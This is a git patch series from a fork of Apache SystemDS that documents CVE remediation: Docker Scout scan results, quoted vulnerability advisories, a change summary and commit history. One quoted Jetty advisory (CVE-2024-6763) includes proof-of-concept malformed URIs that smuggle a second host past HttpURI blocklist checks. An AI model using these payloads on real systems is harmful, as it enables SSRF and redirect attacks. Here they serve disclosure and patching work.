+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.065%
EPSS Percentile20th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 busybox 1.36.1-r31 (apk) + +pkg:apk/alpine/busybox@1.36.1-r31?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r31
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/systemds-3878_summary-of-changes.md b/docker/systemds-3878_summary-of-changes.md index 848b2f18cca..0d2b6ea28a2 100644 --- a/docker/systemds-3878_summary-of-changes.md +++ b/docker/systemds-3878_summary-of-changes.md @@ -162,9 +162,45 @@ import io.netty.handler.codec.compression.CompressionException; `jar tf ~/.m2/repository/org/apache/hadoop/hadoop-common/3.3.6/hadoop-common-3.3.6.jar | grep -i zookeeper` -### Appendix +## Results -#### Output of `mvn dependency:tree` +We managed to solve a lot of CVEs: \ +FROM: critical: 4 high: 29 medium: 36 low: 9 unspecified: 1 \ +TO: critical: 0 high: 6 medium: 8 low: 1 unspecified: 1 + +Running `mvn clean verify` after our changes returns the same output. + +## Changes + +### `pom.xml` + +### `sysds.Dockerfile` + +#### Local build +In order to run the alanysis tool locally, we changed the Dockerfile to build not from the git apache/systemds:latest, but to build from a copy of the local filesystem: + +```Dockerfile +# Build the system +# RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ +# cd /usr/src/systemds/ && \ +# mvn --no-transfer-progress clean package -P distribution +# +# Copy the local SystemDS source into the image +COPY . /usr/src/systemds +# Build SystemDS +RUN cd /usr/src/systemds && \ + mvn --no-transfer-progress clean package -P distribution +``` + +This change was reset before merging. + +#### `apk` vulnerabilities + + + +## Appendix + +### Output of `mvn dependency:tree` before any change ```bash [INFO] org.apache.systemds:systemds:jar:3.4.0-SNAPSHOT diff --git a/pom.xml b/pom.xml index a40f71dcf39..0eb7248f617 100644 --- a/pom.xml +++ b/pom.xml @@ -78,7 +78,7 @@ 17 - {java.level} + ${java.level} Testing settings false org.apache.sysds.test.usertest.** @@ -95,10 +95,10 @@ - --add-opens=java.base/java.nio=ALL-UNNAMED - --add-opens=java.base/java.io=ALL-UNNAMED - --add-opens=java.base/java.util=ALL-UNNAMED - --add-opens=java.base/java.lang=ALL-UNNAMED + --add-opens=java.base/java.nio=ALL-UNNAMED + --add-opens=java.base/java.io=ALL-UNNAMED + --add-opens=java.base/java.util=ALL-UNNAMED + --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.ref=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.base/sun.nio.ch=ALL-UNNAMED @@ -583,7 +583,6 @@ - org.apache.maven.plugins @@ -737,7 +736,6 @@ - @@ -1017,7 +1015,6 @@ - @@ -1159,7 +1156,6 @@ - org.jcuda jcublas @@ -1173,7 +1169,6 @@ - org.jcuda jcusparse @@ -1187,7 +1182,6 @@ - org.jcuda jcusolver @@ -1201,7 +1195,6 @@ - org.jcuda jcudnn @@ -1215,7 +1208,6 @@ - org.jcuda @@ -1224,7 +1216,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcublas-natives @@ -1232,7 +1223,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcusparse-natives @@ -1240,7 +1230,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcusolver-natives @@ -1248,7 +1237,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcudnn-natives @@ -1256,7 +1244,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcuda-natives @@ -1264,7 +1251,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcublas-natives @@ -1272,7 +1258,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcusparse-natives @@ -1280,7 +1265,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcusolver-natives @@ -1288,7 +1272,6 @@ ${jcuda.version} ${jcuda.scope} - org.jcuda jcudnn-natives @@ -1296,13 +1279,11 @@ ${jcuda.version} ${jcuda.scope} - io.netty netty-handler ${netty.version} - org.apache.zookeeper zookeeper @@ -1314,7 +1295,6 @@ - org.apache.spark spark-core_${scala.binary.version} @@ -1413,7 +1393,6 @@ - org.apache.spark spark-sql_${scala.binary.version} @@ -1484,7 +1463,6 @@ - org.apache.spark spark-mllib_${scala.binary.version} @@ -1555,7 +1533,6 @@ - org.apache.hadoop hadoop-common @@ -1622,7 +1599,6 @@ - org.apache.hadoop hadoop-hdfs @@ -1685,7 +1661,6 @@ - org.apache.hadoop hadoop-client @@ -1748,7 +1723,6 @@ - - commons-logging commons-logging @@ -1788,46 +1761,39 @@ - org.apache.commons commons-math3 3.4.1 - org.apache.wink wink-json4j 1.4 - com.fasterxml.jackson.core jackson-databind 2.15.2 - junit junit 4.13.1 provided - org.openjdk.jol jol-core 0.10 test - org.mockito mockito-core 5.1.0 test - com.github.stephenc.jcip @@ -1835,7 +1801,6 @@ 1.0-1 test - org.codehaus.janino @@ -1843,7 +1808,6 @@ 3.1.9 provided - org.antlr antlr4 @@ -1856,20 +1820,17 @@ - org.antlr antlr4-runtime ${antlr.version} - org.apache.derby derby 10.14.2.0 provided - io.netty netty-all @@ -1886,49 +1847,41 @@ - net.sf.py4j py4j 0.10.9 - com.google.protobuf protobuf-java ${protobuf.version} - com.google.protobuf protobuf-java-util ${protobuf.version} - org.slf4j slf4j-api ${slf4j.version} - org.slf4j slf4j-reload4j ${slf4j.version} - org.slf4j jul-to-slf4j ${slf4j.version} - org.slf4j jcl-over-slf4j ${slf4j.version} - org.apache.logging.log4j log4j-api @@ -1944,13 +1897,11 @@ - org.apache.logging.log4j log4j-core ${log4j-core.version} - ch.randelshofer fastdoubleparser From 3b8558f4ddc8b754ea86bc368672767e4063e24a Mon Sep 17 00:00:00 2001 From: anabel-ksp Date: Thu, 29 Jan 2026 11:56:11 +0100 Subject: [PATCH 20/31] [DOC][SYSTEMDS-3878] Reorganize CVE documentation into structured folder Create docker/SYSTEMDS-3878/ folder structure to document all security fix work with the following subfolders: - scan-before-fixes/: Initial Docker Scout vulnerability scan - scan-after-fixes/: Final vulnerability scan after fixes - summary-of-changes/: Detailed changelog with git commit history - unfixed-vulnerabilities/: Documentation of remaining CVEs Added complete git commit history to summary-of-changes/README.md --- .../scan-after-fixes/README.md} | 0 .../scan-before-fixes/README.md} | 0 .../summary-of-changes/README.md} | 144 + .../unfixed-vulnerabilities/README.md} | 2 +- .../alpine-apk-cves/sysds_output17.md | 627 ---- .../alpine-apk-cves/sysds_output18.md | 571 --- docker/scout_results/avro/sysds_output4.md | 3028 ---------------- .../ionetty-netty/sysds_output16.md | 1410 -------- docker/scout_results/kerby/sysds_output5.md | 3074 ----------------- .../medium-cves/sysds_output10.md | 1592 --------- .../medium-cves/sysds_output11.md | 1424 -------- .../medium-cves/sysds_output12.md | 1114 ------ .../medium-cves/sysds_output13.md | 1080 ------ .../medium-cves/sysds_output14.md | 1018 ------ .../medium-cves/sysds_output15-1.md | 994 ------ .../medium-cves/sysds_output8.md | 1731 ---------- .../medium-cves/sysds_output9.md | 1637 --------- .../multiple-high-CVEs/sysds_output6.md | 2645 -------------- .../multiple-high-CVEs/sysds_output7.md | 2599 -------------- .../multiple-high-CVEs/sysds_output8.md | 1741 ---------- .../scout_results/zookeeper/sysds_output1.md | 2831 --------------- .../scout_results/zookeeper/sysds_output2.md | 2950 ---------------- .../scout_results/zookeeper/sysds_output3.md | 3042 ---------------- .../scout_results/zookeeper/sysds_output6.md | 2668 -------------- 24 files changed, 145 insertions(+), 37777 deletions(-) rename docker/{scout_results/sysds_output_pom.md => SYSTEMDS-3878/scan-after-fixes/README.md} (100%) rename docker/{scout_results/sysds_output0.md => SYSTEMDS-3878/scan-before-fixes/README.md} (100%) rename docker/{systemds-3878_summary-of-changes.md => SYSTEMDS-3878/summary-of-changes/README.md} (84%) rename docker/{scout_results/UNFIXED_VULNERABILITIES.md => SYSTEMDS-3878/unfixed-vulnerabilities/README.md} (99%) delete mode 100644 docker/scout_results/alpine-apk-cves/sysds_output17.md delete mode 100644 docker/scout_results/alpine-apk-cves/sysds_output18.md delete mode 100644 docker/scout_results/avro/sysds_output4.md delete mode 100644 docker/scout_results/ionetty-netty/sysds_output16.md delete mode 100644 docker/scout_results/kerby/sysds_output5.md delete mode 100644 docker/scout_results/medium-cves/sysds_output10.md delete mode 100644 docker/scout_results/medium-cves/sysds_output11.md delete mode 100644 docker/scout_results/medium-cves/sysds_output12.md delete mode 100644 docker/scout_results/medium-cves/sysds_output13.md delete mode 100644 docker/scout_results/medium-cves/sysds_output14.md delete mode 100644 docker/scout_results/medium-cves/sysds_output15-1.md delete mode 100644 docker/scout_results/medium-cves/sysds_output8.md delete mode 100644 docker/scout_results/medium-cves/sysds_output9.md delete mode 100644 docker/scout_results/multiple-high-CVEs/sysds_output6.md delete mode 100644 docker/scout_results/multiple-high-CVEs/sysds_output7.md delete mode 100644 docker/scout_results/multiple-high-CVEs/sysds_output8.md delete mode 100644 docker/scout_results/zookeeper/sysds_output1.md delete mode 100644 docker/scout_results/zookeeper/sysds_output2.md delete mode 100644 docker/scout_results/zookeeper/sysds_output3.md delete mode 100644 docker/scout_results/zookeeper/sysds_output6.md diff --git a/docker/scout_results/sysds_output_pom.md b/docker/SYSTEMDS-3878/scan-after-fixes/README.md similarity index 100% rename from docker/scout_results/sysds_output_pom.md rename to docker/SYSTEMDS-3878/scan-after-fixes/README.md diff --git a/docker/scout_results/sysds_output0.md b/docker/SYSTEMDS-3878/scan-before-fixes/README.md similarity index 100% rename from docker/scout_results/sysds_output0.md rename to docker/SYSTEMDS-3878/scan-before-fixes/README.md diff --git a/docker/systemds-3878_summary-of-changes.md b/docker/SYSTEMDS-3878/summary-of-changes/README.md similarity index 84% rename from docker/systemds-3878_summary-of-changes.md rename to docker/SYSTEMDS-3878/summary-of-changes/README.md index 0d2b6ea28a2..10c8696224b 100644 --- a/docker/systemds-3878_summary-of-changes.md +++ b/docker/SYSTEMDS-3878/summary-of-changes/README.md @@ -502,3 +502,147 @@ This change was reset before merging. [INFO] Finished at: 2025-12-08T10:24:00+01:00 [INFO] ------------------------------------------------------------------------ ``` + + +--- + +# Git Commit History + +## December 2025 + +### Dec 4, 2025 +- **`[MINOR][DOCS][SYSTEMDS-3878]`** Write two markdown files to log work and document changes + - Added `project_systemds-3878.md` to log work progress + - Added `systemds-3878_summary-of-changes.md` to document Dockerfile modifications + - Author: @qschnee + +### Dec 5, 2025 +- **`[MINOR][SYSTEMDS-3878]`** Add Docker Scout vulnerability scan for sysds.Dockerfile + - Added initial security scan results for `apache/systemds:latest` + - Docker Scout identified 79 vulnerabilities (4 Critical, 29 High, 36 Medium, 9 Low) + - Author: @a-kasprick + +--- + +## January 2026 + +### Jan 6, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix CVE-2023-44981 org.apache.zookeeper critical vulnerability + - Updated zookeeper from 3.6.3 → 3.8.3 + - Added explicit dependency and exclusions from spark-core and hadoop-common + - Modified sysds.Dockerfile to build from filesystem + - Author: @qschnee + +### Jan 11, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix pom.xml vulnerability (CVE-2024-47561) + - Added avro.version property (1.11.4) for Apache Avro deserialization vulnerability + - Author: @anabel-ksp + +- **`[MINOR][SYSTEMDS-3878]`** Fix pom.xml vulnerability (CVE-2023-25613) + - Added kerby.version property (2.0.3) for Apache Kerby LDAP Injection vulnerability + - Author: @anabel-ksp + +### Jan 14, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix pom.xml dependencyManagement merge error + - Merged duplicate dependencyManagement tags into one + - Author: @qschnee + +- **`[MINOR][SYSTEMDS-3878]`** Fix zookeeper transitive vulnerabilities + - Updated zookeeper to 3.9.4 + - Added explicit dependency for netty-handler (ch.qos.logback/logback-core fix) + - Author: @qschnee + +### Jan 15, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix multiple high-severity CVEs in transitive dependencies + - CVE-2024-7254: protobuf-java 3.23.4 → 3.25.5 (CVSS 8.7) + - CVE-2024-47554: commons-io → 2.14.0 + - CVE-2023-1436: jettison → 1.5.4 + - CVE-2023-43642: snappy-java → 1.1.10.4 + - CVE-2023-6378: logback → 1.2.13 + - CVE-2025-52999: jackson-core → 2.15.0 + - CVE-2023-1370: json-smart → 2.4.9 + - CVE-2023-52428: nimbus-jose-jwt → 9.37.4 + - CVE-2024-36114: aircompressor → 0.27 + - Author: @anabel-ksp + +### Jan 16, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix additional high-severity CVEs in transitive dependencies + - Netty 4.x components → 4.1.124.Final (CVE-2025-55163, CVE-2023-44487) + - Jetty components → 9.4.57.v20241219 (CVE-2024-6763) + - xnio-api → 3.8.14.Final (CVE-2023-5685) + - commons-beanutils → 1.11.0 (CVE-2025-48734) + - dnsjava → 3.6.0 (CVE-2024-25638) + - Author: @anabel-ksp + +### Jan 21, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix additional medium-severity CVEs (jetty-http, commons-compress, commons-configuration2) + - jetty-http → 12.0.12 (CVE-2024-6763) + - commons-compress → 1.26.0 (CVE-2024-26308, CVE-2024-25710, CVE-2023-42503) + - commons-configuration2 → 2.10.1 (CVE-2024-29133, CVE-2024-29131) + - Author: @qschnee + +- **`[MINOR][SYSTEMDS-3878]`** Fix Guava CVEs + - hadoop-shaded-guava → 1.5.0 + - guava → 33.5.0-jre (CVE-2023-2976, CVE-2020-8908) + - Author: @qschnee + +### Jan 22, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix Netty codec CVEs + - netty-codec-http, netty-codec-smtp, netty-codec → 4.1.129.Final + - CVE-2025-67735, CVE-2025-58056, CVE-2025-58057, CVE-2025-59419 + - Author: @qschnee + +- **`[MINOR][SYSTEMDS-3878]`** Fix log4j-core CVE + - log4j-core → 2.25.3 (CVE-2025-68161) + - Author: @qschnee + +### Jan 23, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix commons-lang3 and spark-network-common CVEs + - commons-lang3 → 3.18.0 (CVE-2025-48924) + - spark-network-common_2.12 → 3.5.2 (CVE-2025-55039) + - Author: @qschnee + +- **`[MINOR][SYSTEMDS-3878]`** Fix hadoop-common CVE + - hadoop-common → 3.4.2 (CVE-2024-23454: Improper Privilege Management) + - Author: @qschnee + +- **`[MINOR][SYSTEMDS-3878]`** Fix critical io.netty/netty CVE + - hadoop-hdfs → 3.4.2 (removes io.netty/netty@3.10.6.Final) + - CVE-2019-20444 (Critical 9.1): HTTP Request Smuggling + - Import changes: `org.jboss.netty.*` → `io.netty.*` + - Author: @qschnee + +### Jan 25, 2026 +- **`[MINOR][SYSTEMDS-3878]`** Fix Alpine APK CVEs in Docker image + - Fixed openssl CVEs (CVE-2025-9230, CVE-2025-9231, CVE-2025-9232) → 3.3.5-r0 + - Fixed busybox CVEs (CVE-2025-46394, CVE-2024-58251) → 1.36.1-r31 + - Added exclusions in pom.xml for guava, jackson, and jetty transitive dependencies + - Author: @anabel-ksp + +### Jan 28, 2026 +- **Merge PR #7**: Fix Alpine APK CVEs in Docker image + - Author: @qschnee + +### Jan 29, 2026 +- **`[DOC][SYSTEMDS-3878]`** Document unfixed CVEs in Docker image + - Added `UNFIXED_VULNERABILITIES.md` explaining remaining security vulnerabilities + - Author: @anabel-ksp + +- **`[MINOR][SYSTEMDS-3878]`** pom.xml cleanup + - Removed empty lines, fixed formatting and indenting + - Author: @qschnee + +- **Merge PR #8**: Rebase apache/systemds:latest into fork + - Author: @anabel-ksp + +- **Merge PR #9**: Document unfixed CVEs in Docker image + - Author: @anabel-ksp + +--- + +## Contributors + +- **@anabel-ksp** (Anabel Kasprick) +- **@qschnee** (Quentin Schneebeli) +- **@a-kasprick** + diff --git a/docker/scout_results/UNFIXED_VULNERABILITIES.md b/docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md similarity index 99% rename from docker/scout_results/UNFIXED_VULNERABILITIES.md rename to docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md index 7f8d8d8499f..2aefaacae53 100644 --- a/docker/scout_results/UNFIXED_VULNERABILITIES.md +++ b/docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md @@ -188,4 +188,4 @@ These vulnerabilities are in Alpine Linux system packages. Patched versions must --- *Last updated: January 28, 2026* -*Source: Docker Scout vulnerability scan (`sysds_output18.md`)* +*Source: Docker Scout vulnerability scan (`scan-after-fixes/README.md`)* diff --git a/docker/scout_results/alpine-apk-cves/sysds_output17.md b/docker/scout_results/alpine-apk-cves/sysds_output17.md deleted file mode 100644 index 6019a8d4b87..00000000000 --- a/docker/scout_results/alpine-apk-cves/sysds_output17.md +++ /dev/null @@ -1,627 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:88af08b1a5207a47ae051e92353341c96005743e6d6311c4285a3ab51e95d4d3
vulnerabilitiescritical: 0 high: 7 medium: 11 low: 1 unspecified: 1
platformlinux/amd64
size396 MB
packages345
-
- - - - - - - - - - - - - - - - - - - - - - -
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
